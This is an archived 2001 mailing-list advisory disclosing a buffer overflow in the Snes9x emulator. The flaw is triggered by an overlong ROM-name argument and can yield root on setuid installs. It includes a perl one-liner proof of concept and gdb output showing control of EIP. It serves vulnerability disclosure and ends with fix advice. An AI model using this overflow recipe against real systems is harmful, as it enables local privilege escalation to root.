[ ** Snes9x buffer overflow vulnerability ** ] Affected version: v1.37 prior versions might also be affected. Tested platforms: FreeBSD, NetBSD, OpenBSD and Linux. A buffer overflow vulnerability exists in the snes9x emulator. The problem is that rom names given as an argument upon execution of the program are not processed correctly and can be used to trigger a buffer overflow. On many systems the snes9x has been installed setuid root (also recommended by the developers in the readme. This so it can access /dev/mem which is required to run the program in full screen mode. The setuid root bit gives the program the ability to perform actions with the privileges of root with other words: exploiting this issue can lead to root access. [ ** Exploit information ** ] Exploitation of this vulnerability is a bit tricky but defenitly possible: You need a buffer of 4089 characters to own the EIP this buffer has to be contructed in a special way: bash-2.05$ ./snes9x `perl -e 'print "A" x 85;print "B" x 4004;'` Rate: 22050, Buffer size: 2048, 16-bit: yes, Stereo: yes, Encoded: no Segmentation fault (core dumped) bash-2.05$ gdb -core=snes9x.core GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd". Core was generated by `snes9x'. Program terminated with signal 11, Segmentation fault. #0 0x42424141 in ?? () (gdb) info all eax 0x0 0 ecx 0x282e3401 674116609 edx 0x1 1 ebx 0xbfbfab7c -1077957764 esp 0xbfbfab4c 0xbfbfab4c ebp 0xbfbfab7a 0xbfbfab7a esi 0xbfbfcb7c -1077949572 edi 0xbfbfbb7c -1077953668 eip 0x42424141 0x42424141 ( == BBAA) eflags 0x10282 66178 cs 0x1f 31 ss 0x2f 47 ds 0x2f 47 es 0x2f 47 fs 0x2f 47 gs 0x2f 47 (gdb) As you can see the bytes 83 - 87 of our buffer overwrite the EIP. We (Hobbes and I) succesfully exploited this vulnerability on FreeBSD and Linux. Feel free to mail for more information! [ ** Fix information ** ] Upgrade your snes9x package to the latest version if you want to use it setuid root: http://www.snes9x.com Cheers, zillion Greets to Hobbes, all @ safemode.org and @ #hacker_help (!shit ;) -- Sent through GMX FreeMail - http://www.gmx.net
This archive was generated by hypermail 2b30 : Tue Oct 16 2001 - 08:57:57 PDT